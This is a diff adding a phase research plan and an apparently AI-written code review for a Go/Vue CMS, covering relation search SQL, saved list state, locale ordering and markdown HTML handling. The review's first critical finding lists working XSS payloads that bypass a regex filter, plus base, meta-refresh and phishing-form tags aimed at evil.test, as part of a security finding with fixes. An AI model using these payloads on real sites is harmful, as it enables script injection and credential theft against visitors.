+		quotedIdent(db, rel.FieldSchema.Table), quotedIdent(db, r), strings.Join(where, " AND "), match), nil
+}
+```
+Notes for the planner:
+- **Polymorphic references.** A reference with `ref.PrimaryValue != ""` needs an extra bound `= ?` condition. Refuse polymorphic relations with `listInvalid` in this phase unless a test covers them [ASSUMED: GORM polymorphic reference semantics, not probed].
+- **Soft deletes.** If the related schema has a `gorm.DeletedAt` field, add `AND r.deleted_at IS NULL`. Winter's `whereHas` applies the related model's SoftDelete scope [ASSUMED].
+- **Parse cache.** `stmt.Parse` uses `db.cacheStore`, so the parse is cached.
+- **Sort for to-many.** Use `ORDER BY (SELECT string_agg(CAST(r.col AS TEXT), ', ') FROM ... correlated ...) ASC|DESC` with `clause.OrderBy{Expression: clause.Expr{SQL: ...}}`. This mirrors Winter, which sorts on the `group_concat(...)` sub-select [VERIFIED: Lists.php:568-570] and on the comma-joined value `relatedSelectMany` displays. The `sortable` default is true for relation columns (docs/backend/lists-and-filters.md:62), so any other plugin's to-many column crashes on sort today.
+
+### Pattern 2: list state (D-01), recommended design
+
+**Server side (cabana):**
+1. **Migration.** Append to `lagoon.BackendAdminMigrations`, ID `"202610100001_backend_list_states"` (follow the `YYYYMMDDNNNN_` pattern of `202610090001_backend_users_metadata`):
+   ```sql
+   CREATE TABLE IF NOT EXISTS backend_list_states (
+     user_id INTEGER NOT NULL REFERENCES backend_users(id) ON DELETE CASCADE,
+     controller TEXT NOT NULL,
+     state TEXT NOT NULL,
+     updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
+     PRIMARY KEY (user_id, controller)
+   )
+   ```
+   - `backend_users.id` is `SERIAL` [VERIFIED: backend_admin_migrations.go:36-37].
+   - Use `state TEXT`, matching the backend tables' TEXT-for-JSON convention (`metadata TEXT`, `permissions TEXT`).
+   - The table name avoids reviving Winter's `backend_user_preferences`, which the Phase 9 test prohibits.
+2. **Store shape.** The same JSON shape as the SPA's `ListQuery`: `{"search":..., "sort":..., "dir":..., "page":..., "per_page":..., "filter":{...}}`. Write it with `INSERT ... ON CONFLICT (user_id, controller) DO UPDATE` (gorm `clause.OnConflict`). Skip the write when the stored state is equal. Cap the stored JSON size (for example 4 KiB) and drop oversize state.
+3. **Save (URL wins).** In `service.list`, after `ExecuteList` returns no error, save the request's validated `ListInput` for `(principal.ID, controllerID(cc))`. A save failure is logged with `slog` and does not fail the list. A 422 or 500 list request never saves.
+4. **Restore.**
+   - Route: `g.Get("/{vendor}/{plugin}/{controller}/list-state", s.listState)` + `constrainController(g)`, through `protect()`, so permission is checked before SQL.
+   - Response: `{data: <ListQuery>}`, `{}` when there is none.
+   - Sanitize the stored state against the *current* compiled schema before returning it, reusing `normalizePage`, `normalizeSort`, the filter allowlist and the `switchArgument`/`parseDateRange`/`scopeArgument` checks. Drop each invalid part; never 422. A stored filter that a later deploy removed must not break the list forever.
+   - Order: register the literal route before the `/{id}` show route. ServeMux would pick the literal anyway, but put it next to `schema/list` for readability.
+5. **OpenAPI.**
+   - Add a swag block `AdminListState` for the new route.
+   - Add one sentence to `AdminList`'s `@Description` ("a successful list request stores its query as the administrator's list state").
+   - Regenerate with `scripts/check-admin-openapi.sh`.
+6. **Logout.** Keep the state across logins by default (see Assumption A1). If the user wants Winter's session-only semantics, delete the user's rows in `service.logout`.
+
+**SPA side (ListView.vue):**
+1. **Entry.** Replace the `immediate: true` watch with an explicit entry routine. If `parseListQuery(route.query)` is empty, `await api.GET('/{vendor}/{plugin}/{controller}/list-state')`. If the result is non-empty, `router.replace({ path: route.path, query: toListQuery(state) })` and let the (non-immediate) watch load. Otherwise call `loadList()`. **Never fire an empty list request before the restore decision**: under "save on success", that request would overwrite the stored state with empty.
+2. **Same-path re-entry.** ListView is keyed by route path, so clicking the nav item while already on the list with filters changes only the query to `{}`. Remember the key of the last query this view set itself in `replaceQuery`. When the watch sees an empty query that the view did not set, run the entry restore instead of loading empty.
+3. **User clears everything.** `replaceQuery` produces `{}`. The key matches the view's own → `loadList()` with no params → the server saves the empty state. Clearing works with no marker param.
+4. **Page out of range** after restore (records deleted): if `meta.last_page >= 1 && meta.page > meta.last_page`, `replaceQuery({ ...query, page: meta.last_page })`.
+5. **FormView needs no change.** Its bare `listPath` navigation now restores.
+
+### Pattern 3: ML default locale first (D-03)
+
+In `service.enabledContentLocales` (modules/cabana/http.go:966-983), call `writer.DefaultLocale(ctx, db)` and move that code to index 0, keeping the remaining codes in sort_order. If `DefaultLocale` errors, keep the order and log. This changes three things:
+- MLField's initial `activeLocale`;
+- FormView's `firstMLLocale()`;
+- `mergeMLValue`'s fallback for a bare host string, and `recordDisplayName`'s preferred locale. These read `enabledLocales[0]` (formState.ts:205-218, 225-247), so they become the default locale too.
+
+`liftMLValues`/`hydrateMLRecord` call `writer.EnabledLocales` directly and do not depend on order.
+
+### Pattern 4: lossless content_html (D-03, sm-journal-plugin)
+
+```go
+import "github.com/yuin/goldmark/renderer/html"
+
+markdownEngine = goldmark.New(
+	goldmark.WithExtensions(extension.Footnote, extension.Table),
+	goldmark.WithParserOptions(parser.WithAttribute()),
+	goldmark.WithRendererOptions(html.WithUnsafe()), // Winter Markdown::parse passes raw HTML; rejectUnsafe still gates it
+)
+```
+- `FormatHTML` keeps `rejectUnsafe(html)` after the render, unchanged. `CheckHTML` is unchanged.
+- The one change covers all three write paths: admin save (`preparePostWrite`), import (`console/import_posts.go:185`) and the Journal API writes (`controllers/api/posts_helpers.go:511,567,768`).
+- The response shapes are unchanged (API parity).
+- Do **not** change `cabana.RenderMarkdown` (the admin preview, `field_markdown.go:21-31`). Its output goes into the SPA via `v-html`, and its "no unsafe HTML" rule is a framework security choice. The HTML preview gap belongs to 16.2's Blog Editor.
+
+### Anti-Patterns to Avoid
+- **`Joins(field)` for to-many relations.** It builds a broken ON clause for many2many and duplicates rows for has_many.
+- **Guessing pivot or foreign-key names** (`<model>_id`). Read them from `schema.Relationship`. The README says "Framework code never guesses table, pivot or foreign-key names."
+- **Saving list state on the SPA's first empty request.** It wipes the stored state (see Pattern 2, SPA step 1).
+- **Restoring stored state without re-validation.** A stale filter turns into a permanent 422.
+- **Fixing the locale bug by disabling `en` in the database only.** That fixes one site, not the framework. It may still be wanted for grzybyfunkcjonalne (Open Question 2).
+- **An HTML detection heuristic instead of the unsafe render.** Post 64 is markdown with trailing raw HTML.
+
+## Don't Hand-Roll
+
+| Problem | Don't Build | Use Instead | Why |
+|---------|-------------|-------------|-----|
+| Pivot, foreign-key and table names of a relation | String conventions | `gorm.Statement{DB: db}.Parse(model)` → `Schema.Relationships.Relations[field]` | Honors custom `joinForeignKey`/`foreignKey` tags and the naming strategy |
+| Identifier quoting | `"` concatenation | existing `quotedIdent` / `qualifiedColumn` (query.go:486-497) | Already used by the search SQL |
+| Upsert | SELECT then INSERT/UPDATE | `clause.OnConflict{Columns: ..., DoUpdates: ...}` | Race-free across two tabs |
+| HTML pass-through | Regex HTML detector | `html.WithUnsafe()` + existing `rejectUnsafe` | PHP parity; verified on 100/100 bodies |
+| List param parsing in the SPA | New parser | existing `parseListQuery` / `toListQuery` / `listQueryKey` | Already strict about malformed input |
+
+## Runtime State Inventory (deploy and data, not a rename)
+
+| Category | Items Found | Action Required |
+|----------|-------------|------------------|
+| Stored data | UAT posts 53 and 64: `content_html` holds `<!-- raw HTML omitted -->` from the import. 0 translate attribute rows. `en` locale enabled with sort_order 1 | After deploy: re-render posts 53 and 64 by re-saving them in `/gfadmin` (this is also D-03's acceptance test), then confirm `content_html NOT LIKE '%raw HTML omitted%'` for all posts. Deciding whether `en` should be disabled is Open Question 2 |
+| Live service config | None. nginx vhost and supervisor programs unchanged | None |
+| OS-registered state | supervisor programs `grzybyfunkcjonalne-go`/`-nuxt` (names unchanged) | `sudo supervisorctl restart grzybyfunkcjonalne-go` (Nuxt restart optional) |
+| Secrets/env vars | None changed | None |
+| Build artifacts | `bin/grzybyfunkcjonalne` (sha256 94116f4a…68ea from 296b9cd); `modules/boardwalk/dist` embedded SPA | Rebuild with `scripts/build.sh` from a framework checkout at the release tag; rebuild and commit dist before the tag |
+| Schema | New migration `backend_list_states` | On the server: `bin/grzybyfunkcjonalne migrate` (DEPLOY.md Release step 3) **before** the restart |
+
+## Release / deploy mechanics (D-04)
+
+1. **Framework tag.**
+   - Tags are annotated (`git for-each-ref` shows `tag` objects), cut on master after the work, and pushed to `origin` (`git@git.golem15.com:golem15/summercms.git`).
+   - The latest tag is `v0.1.15` (2026-10-09). Next: `v0.1.16`, unless the concurrent session tags first; then take the next free number and check `git tag --contains <fix commit>`.
+   - In Phase 14.3 tagging, the site bump and the deploy were user actions, so make the tag and push a `checkpoint:human-action` or explicit approval.
+   - Before tagging: `scripts/check-admin-dist.sh`, `scripts/check-admin-openapi.sh --check`, `go vet ./...`, `go test ./...` (needs Docker, see Environment), `go test ./cmd/summer -run TestDocsTree`.
+2. **sm-journal-plugin.**
+   - Commit the FormatHTML change on `main`.
+   - Set `require git.golem15.com/golem15/summercms v0.1.16` in go.mod. It currently reads `v0.1.9`; there is a `replace ... => ../summercms.go`, so this is a nominal pin and `go mod tidy` works offline. Precedent: sm-translate-plugin's "chore(deps): require summercms v0.1.10".
+   - Push `origin main`.
+3. **Host (`sm-grzybyfunkcjonalne-app`).**
+   - `go.mod` has `replace git.golem15.com/golem15/summercms => ../summercms.go` and `require ... summercms v0.0.0`, so **there is no framework version to bump**. `scripts/build.sh` compiles the `../summercms.go` working tree, so check out the tag or a clean master there before building.
+   - The bump is the submodule pointer: `git -C plugins/golem15/journal fetch && git -C plugins/golem15/journal checkout <new main>`, then commit `plugins/golem15/journal` (current pointer 3d533d4).
+   - Also update README.md:114 and DEPLOY.md "Do not re-save imported posts in /gfadmin". Push origin master.
+4. **Deploy** (DEPLOY.md "Release"):
+   - `scripts/build.sh` and `scripts/check-deploy.sh`.
+   - rsync the binary to `bin/grzybyfunkcjonalne.new`, then `cp -p bin/grzybyfunkcjonalne bin/grzybyfunkcjonalne.prev && mv bin/grzybyfunkcjonalne.new bin/grzybyfunkcjonalne`.
+   - rsync `config/` and `scripts/`. Nuxt `.output` is unchanged unless rebuilt.
+   - On the server in `/srv/grzybyfunkcjonalne/go`: `bin/grzybyfunkcjonalne migrate`, then `sudo supervisorctl restart grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt`.
+   - Compare the uploaded binary's sha256 with the local build.
+5. **Smoke on the server** (UAT basic auth; loopback bypass):
+   ```sh
+   C=$(mktemp -d); printf 'resolve = uat.grzybyfunkcjonalne.pl:443:127.0.0.1\n' > "$C/.curlrc"
+   cd /srv/grzybyfunkcjonalne/go && CURL_HOME="$C" scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl
+   rm -rf "$C"
+   ```
+   Expect `smoke: ok (98 urls)`. smoke.sh does not cover the admin.
+6. **Admin verification** (human, UAT credentials + admin login): see Validation Architecture → Manual. The UAT gate answers 401 off-server, so automated admin checks from the executor machine are impossible without credentials.
+7. **Rollback:** move `bin/grzybyfunkcjonalne.prev` back and restart. The new table is additive; the migration Rollback drops it.
+
+## Common Pitfalls
+
+### Pitfall 1: Ambiguous columns once anything joins
+**What goes wrong:** Journal's `FilterCategories` uses `db.Where("id IN (SELECT post_id FROM golem15_journal_posts_categories WHERE category_id IN (?))", ids)` and `restrictToOwnPosts` uses `db.Where("user_id = ?", principal.ID)`. Both are unqualified [VERIFIED: models/post.go:107; controllers/posts.go:95]. Any `JOIN` of a table with `id`/`user_id` makes them ambiguous.
+**How to avoid:** EXISTS subqueries only, with no joins in the outer query for search. Test "search + category filter + non-superuser" together.
+
+### Pitfall 2: The first list request clobbers the stored state
+**What goes wrong:** ListView's `immediate: true` watch fires an empty request at setup. With save-on-success, that request overwrites the stored state before the restore runs.
+**How to avoid:** the entry routine decides on restore before any list request. Add a vitest for this: on mount with an empty query, the `list-state` request comes before any list request, and no empty list request is made when the stored state is non-empty.
+
+### Pitfall 3: Stale stored state breaks the list permanently
+**What goes wrong:** A filter is renamed in `config_filter.yaml`, the stored state names the old filter, the restore sets it in the URL, and the list answers 422 on every visit.
+**How to avoid:** the restore route sanitizes against the current compiled schema and drops invalid parts.
+
+### Pitfall 4: The default locale is not first
+**What goes wrong:** Any site where the seeded `en` stays enabled with a lower `sort_order` than the default shows empty ML fields.
+**How to avoid:** order in cabana (Pattern 3), and test with a writer that returns `["en","pl"]` and default `pl`. The SPA fixtures use `['en', 'pl']` (MLFields.test.ts:18, FormView.test.ts:560); add a case where the default is not first.
+
+### Pitfall 5: The unsafe render widens what reaches `content_html`
+**What goes wrong:** `<style>`, `<footer>` and arbitrary tags now pass through. The gate blocks only `<script|iframe|object|embed`, `on*=` handlers and `javascript:|vbscript:|data:`. PHP additionally ran `Html::clean` for admins without `backend.allow_unsafe_markdown`.
+**How to avoid:** keep the gate. Post authors are authenticated admins with `golem15.journal.access_posts`. Note it as an accepted risk in the security review. Re-run `classes` tests: every `TestFormatHTMLRejectsUnsafeHTML` case still errors through the gate.
+**Warning sign:** a body containing the Polish word "data:" (for example "Data: 12.03") would be refused with 422. None of the 105 export bodies match today.
+
+### Pitfall 6: The version in the error log misleads
+**What goes wrong:** The Go log reports `summercms@v0.1.9`, which is sm-journal-plugin's go.mod require. The binary was built from the working tree at 296b9cd (v0.1.15 code). Do not diff against v0.1.9 to decide what UAT runs.
+
+### Pitfall 7: Docker-only tests cannot run on this machine
+**What goes wrong:** `go test ./modules/cabana/ -run TestListQueryContract` fails with `permission denied while trying to connect to the docker API` (run this session). sm-journal-plugin's TestMain is fail-closed too.
+**How to avoid:** put the new SQL-shape tests in pure DryRun tests (no DB) that run anywhere. Keep the Postgres tests as integration evidence on a Docker-enabled machine (user / CI). Phase 16-05 already records the same constraint.
+
+### Pitfall 8: Concurrent `modules/` session
+**What goes wrong:** The other session edits cabana or lagoon files in parallel and creates a merge conflict or a mixed commit.
+**How to avoid:** before each cabana or lagoon task, run `git status --porcelain -- modules admin` and `git log origin/master..` / `git fetch`. Stage by explicit path. Keep one logical change per commit (D-02).
+
+### Pitfall 9: Saving the form writes empty `en` translations
+**What goes wrong:** The form sends every enabled locale (`{pl: "...", en: ""}`), so a save creates `en` attribute rows with empty strings, including an empty `en` slug index. `Translated` falls back to the host for empty values, so the public output is unchanged.
+**How to avoid:** this is existing behavior. Note it, and do not "fix" it in this phase.
+
+## Code Examples
+
+### Default locale first (cabana, sketch)
+```go
+// enabledContentLocales: default locale first, others in the writer's order.
+codes, err := writer.EnabledLocales(ctx, db)
+...
+if def, err := writer.DefaultLocale(ctx, db); err == nil && def != "" {
+	if i := slices.Index(codes, def); i > 0 {
+		codes = append([]string{def}, slices.Delete(slices.Clone(codes), i, i+1)...)
+	}

+## State of the Art
+
+| Old Approach | Current Approach | When Changed | Impact |
+|--------------|------------------|--------------|--------|
+| `Joins(field)` for every relation column | EXISTS for search; correlated subquery for to-many sort | this phase | belongsToMany and hasMany search and sort work; counts are exact |
+| URL-only list state | URL + per-user `backend_list_states` | this phase | State survives form round-trips and navigation |
+| goldmark safe render | goldmark `html.WithUnsafe()` + gate | this phase | Imported HTML round-trips; PHP parity |
+
+## Assumptions Log
+
+| # | Claim | Section | Risk if Wrong |
+|---|-------|---------|---------------|
+| A1 | List state should persist across logins (durable per user), not end at logout like Winter's PHP session | Pattern 2 | Low: a one-line delete in `logout` switches to session semantics |
+| A2 | Winter's `Markdown::parse` passes raw HTML through (Parsedown default) | Root cause D-03 | Low: the export data (content_html == content for 83/100, entities-only diffs for 17) supports it |
+| A3 | Winter's `whereHas` applies the related model's soft-delete scope, so EXISTS should add `deleted_at IS NULL` for soft-deleting related models | Pattern 1 | Low: affects only soft-deleting related models; Journal Category has no soft delete [not verified] |
+| A4 | GORM polymorphic references carry `PrimaryValue` needing an extra bound condition; refusing polymorphic relations in search is acceptable for now | Pattern 1 | Low: no current list column uses a polymorphic relation [not verified across plugins] |
+| A5 | The PHP site's `use_rich_editor` setting value is unknown (Go UAT: `f`); 16.1 does not implement the rich-editor store-as-is branch | Pattern 4 | Low: unsafe markdown already round-trips HTML; the branch belongs with 16.2's Blog Editor |
+| A6 | The new route name `list-state` and table name `backend_list_states` are acceptable names | Pattern 2 | Cosmetic |
+
+## Open Questions (RESOLVED)
+
+1. **Tag number vs the concurrent session.**
+   - What we know: the latest tag is v0.1.15. No `modules/` edits are in flight in this checkout.
+   - What's unclear: whether the other session will tag first.
+   - Recommendation: the release task checks `git fetch --tags` and uses the next free `v0.1.x`.
+   - RESOLVED: plan 16.1-02 Task 1 picks the next free tag or reuses an existing tag that contains the fixes.
+2. **Should `en` be disabled on grzybyfunkcjonalne?**
+   - What we know: the site is Polish-only; the export has only `pl` translations. With en enabled, every admin save writes empty en rows (Pitfall 9).
+   - What's unclear: whether any client requests `locale=en`.
+   - Recommendation: the framework fix is enough for D-03. Ask the user whether to also set `is_enabled=false` for `en` on UAT (one SQL line, or the Locales admin) and in `migrate.sh`.
+   - RESOLVED: `en` stays enabled (Claude's discretion in CONTEXT.md); empty en rows on save are accepted.
+3. **Repairing posts 53 and 64: admin re-save or a console command?**
+   - Recommendation: admin re-save after the deploy. It is two posts and doubles as the D-03 acceptance test. A reusable `journal:rebuild-html` command is out of scope unless the user wants it.
+   - RESOLVED: plan 16.1-02 Task 3 repairs both posts by admin re-save.

+
+### Manual (UAT, human with credentials)
+On `/gfadmin/golem15/journal/posts`:
+1. Search "cordyceps": rows return, no "The list could not be loaded".
+2. Set a sort and a category filter, open a post, press Back (in-app): the same sort and filter remain and are in the URL. Navigate away via the rail and back: they are restored. Copy the URL into a new tab: the same list.
+3. Open any imported post: title, slug, content (HTML source) and excerpt are filled, and the locale selector shows `pl`.
+4. Re-save posts 53 and 64, then on the server: `SELECT count(*) FROM golem15_journal_posts WHERE content_html LIKE '%raw HTML omitted%'` → 0. `/blog/ekstrakt-z-turkey-tail` shows the author footer.
+
+### Sampling Rate
+- **Per task commit:** the quick-run commands for the touched repo (pure Go tests + vitest file).
+- **Per wave merge:** full suite of the touched repo, plus `check-admin-dist.sh` / `check-admin-openapi.sh --check` when SPA or swag files changed.
+- **Phase gate:** full suites green on a Docker-enabled machine before the tag; UAT smoke + manual list before `/msd-verify-work`.
+
+### Wave 0 Gaps
+- [ ] `modules/cabana/query_relation_test.go`: DryRun SQL tests plus many2many and hasMany fixture models (pivot table) for the Postgres tests.
+- [ ] `modules/cabana/list_state_test.go`: save, restore, sanitize, permission.
+- [ ] `sm-journal-plugin/posts_admin_smoke_test.go`: re-save keeps HTML.
+- [ ] No framework installs needed.

+## Security Domain
+
+### Applicable ASVS Categories
+
+| ASVS Category | Applies | Standard Control |
+|---------------|---------|-----------------|
+| V2 Authentication | no (unchanged) | existing backend guard |
+| V3 Session Management | yes (new per-user state, not a session token) | State is keyed by the JWT principal ID; it carries no authority |
+| V4 Access Control | yes | The list-state route goes through `protect()` (controller permission before SQL). Rows are scoped to `principal.ID`; no route reads another user's state |
+| V5 Input Validation | yes | Stored state is re-validated against the compiled schema on restore. Search SQL uses bound `?` args and `quotedIdent` identifiers from GORM's schema. Size cap on stored JSON |
+| V6 Cryptography | no | — |
+| V14 / XSS (output) | yes | `content_html` now carries raw admin HTML; the `rejectUnsafe` gate stays on every write path (admin, import, API); the admin preview (`cabana.RenderMarkdown`, v-html) stays safe-mode |
+
+### Known Threat Patterns
+
+| Pattern | STRIDE | Standard Mitigation |
+|---------|--------|---------------------|
+| SQL injection via relation/column names in search | Tampering | Names come from the compiled schema + `schema.Relationship`; `identifier()` + `LookUpField`; values bound |
+| Stored-state poisoning (oversized or crafted state) | Tampering / DoS | Validate on save (only successful list inputs) and on restore; size cap |
+| Cross-site GET that writes list state | Tampering (low) | Admin cookie is `SameSite=Strict` (auth.go `sessionCookie`); Bearer clients are not CSRF-able; the impact is only the attacker-chosen filters of the victim |
+| Stored XSS through post HTML | Tampering / Elevation | 3-pattern gate (script/iframe/object/embed, `on*=`, javascript/vbscript/data URLs); authors are permissioned admins; accepted residual risk vs PHP `Html::clean` (Pitfall 5) |

+# Phase 16.1: Code Review Report
+
+**Reviewed:** 2026-10-09T21:20:45Z
+**Depth:** standard
+**Files Reviewed:** 22
+**Status:** issues_found
+
+## Narrative Findings (AI reviewer)
+
+## Summary
+
+I reviewed the phase diffs: summercms.go `1ef21b0^..HEAD` and sm-journal-plugin `3d533d4..HEAD`. I checked the relation subquery SQL in `modules/cabana/query.go` against GORM's relationship model. Table, pivot and column names come only from the parsed schema, every identifier goes through `quotedIdent`/`qualifiedColumn`, and the search term is a bound parameter. I found no SQL injection path. The EXISTS correlation is correct for belongsTo, hasOne, hasMany and belongsToMany, including self-referencing relations. The `enabledContentLocales` reorder is correct, and so is the list-state key and validation logic.
+
+The blocking problem is in the journal plugin. Turning on `html.WithUnsafe()` makes the three-regex `rejectUnsafe` blocklist the only defence against stored XSS. That blocklist can be bypassed with ordinary HTML-parser behaviour, and I confirmed this by running the same goldmark config and regexes. The public Nuxt layer (`vue-journal-layer/app/utils/htmlGate.ts`) uses the same three regexes word for word, so it adds no defence in depth. Before this phase, goldmark replaced these payloads with `<!-- raw HTML omitted -->`. They now reach `content_html` and the public `v-html` sinks.
+
+## Critical Issues
+
+### CR-01: The rejectUnsafe gate can be bypassed now that raw HTML passes, so stored XSS reaches content_html (T-16.1-02 not met)
+
+**File:** `../sm-journal-plugin/classes/format_html.go:22,25-27,54-66`
+**Issue:** With `goldmark.WithRendererOptions(html.WithUnsafe())`, goldmark copies raw HTML blocks verbatim. Inside a type-6 HTML block, which is any block starting with `<div>` or `<p>`, the content does not even have to be valid CommonMark tag syntax. With unsafe mode on, goldmark also stops applying its own `IsDangerousURL` filter. The remaining gate is a substring blocklist, and these payloads get past it. I verified each one against goldmark v1.8.6 with the exact engine options and regexes; every one returns `err == nil`:
+
+| Source passed to `FormatHTML` | Output (unchanged) | Why the gate misses it |
+|---|---|---|
+| `<p><img src="x"onerror="alert(1)"></p>` | same | `\son[a-z]+\s*=` needs whitespace before `on`; browsers accept a quoted value followed directly by the next attribute. Runs on page load. |
+| `<div>\n<svg/onload=alert(1)>\n</div>` | same | `/` is a valid attribute separator in HTML. Runs on page load. |
+| `<a href="javascript&#58;alert(1)">x</a>` | same | The browser decodes the entity before parsing the URL. |
+| `<a href="javascript&colon;alert(1)">x</a>` | same | Named entity. |
+| `<a href="&#106;avascript:alert(1)">x</a>` | same | Entity inside the scheme. |
+| `<a href="java\tscript:alert(1)">x</a>` | same | The URL parser strips tab and newline. |
+| `<div>\n<math><maction actiontype=statusline xlink:href="javascript&#58;alert(1)">x</maction></math>\n</div>` | same | Same issue in the MathML/SVG namespace. |
+
+Non-script tags that are just as dangerous also pass: `<base href="https://evil.test/">` rewrites every relative URL on the page, `<meta http-equiv="refresh" content="0;url=https://evil.test">` is an open redirect, and `<form action="https://evil.test"><input type=password ...>` is a credential phish. The plan accepted only "inert tags such as style, footer or form" as residual risk, not executable script.
+
+**Impact:** All three write paths call `FormatHTML`: admin save at `controllers/posts.go:213`, `journal:import-posts` at `console/import_posts.go:185`, and the Journal API writes at `controllers/api/posts_helpers.go:511,567,768`. The result is served as `content_html` and rendered with `v-html` behind `gateJournalHtml`, which uses the same regexes. So any admin with the posts permission, or any imported file, can plant script that runs for every public visitor. If the admin SPA and the public site share an origin, it also runs for any signed-in superuser who opens the post. The admin cookie is HttpOnly but is still sent on same-origin API calls, so this is an escalation from author to full admin. `CheckHTML` for category `content` (`controllers/categories.go:75`) shares the same weak gate. That part predates this phase, but it is the same root cause.
+
+The README sentence added in this phase ("its gate still refuses ... event handlers and javascript, vbscript and data URLs on every write path") and the T-16.1-02 mitigation claim are both untrue as written.
+
+**Fix:** Replace the regex blocklist with a parser-based allowlist. Following the project's preference for established libraries, add `github.com/microcosm-cc/bluemonday` with a decision note and sanitize the rendered output rather than refusing it:
+```go
+var postPolicy = func() *bluemonday.Policy {
+	p := bluemonday.UGCPolicy()          // drops script/iframe/object/embed/base/meta/form, on*, js/vbscript URLs
+	p.AllowAttrs("class").Globally()     // keep imported class attributes (D-03 round-trip)
+	p.AllowElements("footer", "figure", "figcaption")
+	return p
+}()
+
+func FormatHTML(src string) (string, error) {
+	var buf bytes.Buffer
+	if err := markdownEngine.Convert([]byte(strings.TrimSpace(src)), &buf); err != nil {
+		return "", fmt.Errorf("journal: markdown: %w", err)
+	}
+	return postPolicy.Sanitize(buf.String()), nil
+}
+```
+If a new dependency is not acceptable, use the parser already in the build: `golang.org/x/net/html`, at v0.58.0 in go.sum. Tokenize the output and refuse it when a start tag is not in an allowlist, when an attribute name starts with `on`, or when an `href`/`src`/`xlink:href`/`action`/`formaction` value, after entity decoding (the tokenizer does that) and after removing ASCII whitespace and control characters, starts with a scheme other than `http`, `https`, `mailto` or a relative path. Also port the fix to `vue-journal-layer/app/utils/htmlGate.ts`, for example DOMPurify on the client and server render, so the public layer actually provides defence in depth. Add every payload from the table above to `TestFormatHTMLRejectsUnsafeHTML`.
+
+## Warnings
+
+### WR-01: `data:` blocklist regex refuses ordinary Polish text "Data:" (and "metadata:"), so imports and saves fail
+
+**File:** `../sm-journal-plugin/classes/format_html.go:27`
+**Issue:** `(?i)(?:javascript|vbscript|data):` has no word boundary and no attribute context, so it matches body text. In Polish, "Data:" is the usual label for a date ("Data: 12 maja 2024", "Data publikacji:"). I confirmed that `FormatHTML("<p>Data: 12 maja 2024</p>")` is refused, and so is any English text containing "metadata:" or "big data:". The admin save returns 422 on `content` (`controllers/posts.go:213-217`), and `journal:import-posts` rejects the post. This works against D-03's goal that imported HTML bodies survive a save. The regex existed before this phase, but the phase now routes all raw imported HTML through it.
+**Fix:** Check URL schemes only inside URL-bearing attribute values. The parser-based gate from CR-01 does this. As a stop-gap, anchor the regex to an attribute value, for example `(?i)(?:href|src|action|formaction|xlink:href)\s*=\s*["']?\s*(?:javascript|vbscript|data):`. Treat that only as a stop-gap, since CR-01 shows the regex approach is not sufficient on its own.
+
+### WR-02: A stored list query that fails deterministically (non-422) locks the list until logout; on 422 the view shows only an error
+
+**File:** `admin/src/views/ListView.vue:141-150,165-184,420-424`
+**Issue:**
+1. Only a 422 clears the stored state. If a stored sort or filter makes the server fail deterministically with a 500, for example a relation sort whose `db.Joins(field)` collides with a join already added by `ListExtendQuery`, or a `relationSubquery` parse error, the list shows the `load_failed` alert. While `failed` is true, `DataTable`, including the sortable column headers, is not rendered (line 420 `v-if` / line 423 `v-else`), so the admin cannot clear the sort. Opening the bare list URL or the sidebar link restores the same stored query (line 171-176). The list stays broken until logout or until local storage is cleared by hand.
+2. On a 422, storage is cleared, but the URL still holds the stale parameters and the user sees only the error alert. A restore that the user never asked for turns into a failed screen, and the user has to leave and come back to recover.
+**Fix:** If the first load after a restore fails for any reason, drop the stored query and load the unfiltered list, rather than only clearing storage on a 422:
+```ts
+let restored = false
+// in the watch, when restoring:
+restored = true
+void router.replace({ path: route.path, query: toListQuery(stored) })
+
+// in loadList, after the generation check:
+if (!result.data && (restored || result.response?.status === 422)) {
+  restored = false
+  writeListState(controllerId, {})
+  void router.replace({ path: route.path, query: {} })
+  return
+}
+restored = false
+```
+Alternatively, keep `DataTable` headers rendered on failure so the sort can be reset.
+
+### WR-03: Stored list queries survive session expiry and are not scoped to an admin
+
+**File:** `admin/src/state/useAuth.ts:91-101`, `admin/main.ts:25-31`, `admin/src/state/listState.ts:24-26`
+**Issue:** The key is `summer-admin.list:<controllerId>`, with no admin id. Only an explicit `logout()` calls `clearListStates()`. When the session ends any other way (token expiry or refresh failure goes through `onUnauthorized` → `clearUser()` in `main.ts:25-31`, or the user simply closes the tab), the stored searches stay. The next admin who signs in on that browser gets them restored into the URL and sent to the server. Search terms often hold personal data such as customer names or emails, and T-16.1-03 claims "logout clears them" as the mitigation.
+**Fix:** Call `clearListStates()` from `clearUser()` so every session end clears them, or prefix the key with the signed-in admin's id (`summer-admin.list:<adminId>:<controllerId>`) and drop keys for other ids on login.
+
+### WR-04: The new relation SQL is only checked as DryRun strings and never runs against Postgres
+
+**File:** `modules/cabana/query_relation_test.go:133-146` (all relation tests); `modules/cabana/query.go:310-450`
+**Issue:** Every new test opens `openDryRunDB` with `DryRun: true` and asserts on the SQL text. None of these constructs are ever executed: the correlated `EXISTS (SELECT 1 FROM ... JOIN ... ON ... WHERE ... AND LOWER(CAST(... AS TEXT)) LIKE ? ESCAPE '\')`, the `ORDER BY (SELECT string_agg(CAST(..) AS TEXT), ', ' ORDER BY CAST(..) AS TEXT)) FROM ... )` raw order column merged with the primary-key tiebreak, and the pivot alias correlation. The journal plugin has a testcontainers harness (`admin_harness_test.go`), but no test there runs a relation search or a to-many sort. A typo in operator precedence, alias scoping or the escape literal would pass CI and fail only in production.
+**Fix:** Add a testcontainers-gated test in cabana, or in the journal admin harness. It should seed posts with zero, one and two categories (plus a soft-deleted category), run `?search=` on a belongsToMany, a hasMany and a belongsTo column, and run `?sort=categories&dir=desc`. Assert the returned ids and that `meta.total` equals the number of distinct posts.
+
+### WR-05: to-many sort key does not equal the displayed text, contradicting the code comment and docs
+
+**File:** `modules/cabana/query.go:314-324`, `modules/cabana/query.go:734-757`, `docs/backend/lists-and-filters.md:62`
+**Issue:** The sort uses `string_agg(value, ', ' ORDER BY value)`, which sorts the values alphabetically. The displayed cell (`relatedSelectMany`) joins the preloaded records in whatever order `Preload` returns them, which has no ORDER BY (in practice pivot or primary-key order). A post with categories inserted as "Zebra", "Apple" shows "Zebra, Apple" but sorts as "Apple, Zebra", so the rows look out of order. The comment ("string_agg in the same order is the comma-joined value the list displays") and the docs sentence ("sorts by its comma-joined values, the text the list shows") are both wrong.
